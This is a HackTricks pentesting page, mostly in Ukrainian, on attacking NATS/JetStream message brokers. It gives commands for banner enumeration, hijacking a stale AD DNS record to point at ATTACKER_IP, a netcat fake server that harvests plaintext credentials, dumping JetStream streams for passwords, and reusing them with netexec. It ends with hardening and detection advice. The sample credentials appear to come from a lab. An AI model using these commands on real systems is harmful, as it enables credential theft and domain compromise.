4222 - Pentesting NATS / JetStream

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

NATS — високопродуктивна шина повідомлень, яка використовує простий текстовий протокол: сервер передає INFO { ... } JSON-банер відразу після TCP-підключення, а клієнт відповідає фреймом CONNECT {"user":"USERNAME","pass":"PASSWORD",...} з наступними необов’язковими командами PING/PUB/SUB. JetStream додає примітиви збереження (Streams & Consumers) поверх того ж TCP-порту (4222/tcp). TLS і автентифікація опціональні, тому багато внутрішніх розгортань працюють у режимі plaintext AUTH.

  • Порт за замовчуванням: 4222/tcp (4223+ для кластерних маршрутів)
  • Типові поля банера: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Перерахування

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO frame також можна витягнути вручну:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Встановіть офіційний CLI (Go ≥1.21) для глибшої взаємодії:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Помилки автентифікації одразу викликають nats: Authorization Violation, тому для будь-якого змістовного RPC потрібні дійсні creds.

Credential capture via DNS/service impersonation

  • Визначте застарілі записи AD DNS для імені хоста брокера (наприклад, nats-svc.domain.local). Якщо запис повертає NXDOMAIN, користувач домену з низькими привілеями може створити його наново завдяки стандартним dynamic-update ACLs. See AD DNS Records abuse for background.
  • Зареєструйте ім’я хоста на IP, контрольований атакуючим:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Віддзеркальте легітимний банер один раз, а потім відтворіть його для кожного підключеного клієнта. NATS довіряє першому рядку INFO, який бачить, тому нам потрібно лише пропустити його через прослуховувач:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Як тільки внутрішній клієнт резолвить захоплене ім’я, він відправить у відкритому тексті CONNECT фрейм, що містить пару user / pass та різну телеметрію (client name, Go version, protocol level). Оскільки нічого після INFO banner не потрібно, навіть nc достатньо для збору секретів.
  • Для триваліших завдань запустіть офіційний сервер локально (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE-логування вже показує імена користувачів; видалення redaction helper або sniffing трафіку з Wireshark виявляє повний пароль.

JetStream — витяг даних та пошук паролів

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

Виявлення JetStream зазвичай відбувається за наступною схемою:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Команди streaming часто логують події автентифікації в subjects, такі як logs.auth. Якщо розробники зберігають raw JSON у JetStream stream, payloads можуть містити plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Збережені secrets можна повторно програти проти Kerberos-only services за допомогою netexec smb DC01 -u USER -p PASS -k, що дозволяє повне скомпрометування домену.

Зміцнення безпеки та виявлення

  • Забезпечити TLS (tls, tls_required, or mTLS via nkey/creds). Без шифрування INFO/CONNECT leaks credentials будь-кому на шляху.
  • Визначте, хто може оновлювати DNS – делегуйте service records виділеним обліковим записам і проводьте аудит Event IDs 257/252 для важливих hostnames. Поєднайте це з scavenging alerts, щоб відсутні broker names не могли бути тихо повторно re-claimed.
  • Вимкніть логування credentials. Очищайте secrets перед публікацією в subjects, встановлюйте JetStream retention/age limits, і застосовуйте deny_delete=false лише для довірених операторів.
  • Моніторте аномалії банерів – повторювані короткочасні з’єднання, authentication timeouts, або INFO banners, що не відповідають затвердженому шаблону, вказують на spoofed servers.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks